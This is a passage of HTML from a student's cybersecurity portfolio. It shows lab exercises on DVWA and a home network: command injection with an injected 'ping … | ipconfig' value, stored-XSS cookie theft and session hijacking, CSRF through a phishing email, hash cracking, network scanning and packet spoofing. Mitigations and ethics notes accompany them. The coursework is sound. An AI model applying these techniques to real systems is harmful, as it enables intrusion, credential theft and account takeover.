href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys 